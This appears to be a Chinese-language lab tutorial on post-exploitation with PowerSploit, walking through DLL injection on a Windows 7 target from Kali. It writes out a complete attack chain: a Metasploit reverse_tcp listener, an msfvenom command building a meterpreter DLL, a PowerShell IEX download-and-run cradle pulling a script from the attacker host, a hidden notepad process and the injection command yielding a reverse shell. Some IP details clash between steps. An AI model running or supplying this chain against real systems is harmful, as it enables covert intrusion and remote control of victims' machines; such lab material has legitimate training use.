环境
攻击机 kali ip 192.168.64.129
靶机 win7 ip 192.168.64.143
PowerSploit是一款基于PowerShell的后渗透(Post-Exploition)框架软件,包含很多PowerShell攻击脚本,它们主要用于渗透中的信息侦查、权限提升、权限维持。其GitHub地址为:GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework
1、PowerSploit的安装
首先kali下载PowerSploit,首先输入git命令下载程序目录
git clone https://github.com/PowerShellMafia/PowerSploit
接着输入开启Apache服务
service apache2 start
或
/etc/init.d/apache2 start
把下载好的文件夹移动到var/www/html目录,打开http://192.168.64.143/PowerSploit/,如下图所示。
2.Invoke-DLLInjection介绍
Code Execution 模块下的脚本 Invoke-DLLInjection,是一个DLL注入脚本
DLL注入是指向运行中的其他进程强制插入特定的DLL文件。其工作原理是从外部促使目标进程调用LoadLibrary() API从而强制执行DLL的DllMain()函数,而且被注入的DLL拥有目标进程内存的访问权限,用户可以随意操作。与一般的DLL加载的区别在于,DLL注入加载的目标进程是其自身或其他进程。
3.开启msf监听
LHOST为攻击机即kali的IP地址,不然会监听失败
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.101.46
run
4.使用msfvenom生成dll文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.64.129 lport=4444 -f dll -o /var/www/html/test.dll
5. 在目标机器下载Invoke-DllInjection.psl脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.64.129/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
6. 把生成的test.dll上传到目标服务器的C盘
把生成的test.dll复制到目标服务器的C盘的win目录下,就能启动一个新的进程进行DLL注入,这样可以使注入更加隐蔽。
7. 使用以下命令新建一个名为notepad.exe的隐藏进程并获取notepad的进程号
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
Get-Process -Name notepad
8. 使用以下命令进行注入
Invoke-DllInjection -ProcessID 216 -Dll c:\win\test.dll
9. 返回MSF监听界面,发现已经反弹成功
参考
使用powersploit的Invoke-DLLInjection进行DLL注入_dlt injection.-CSDN博客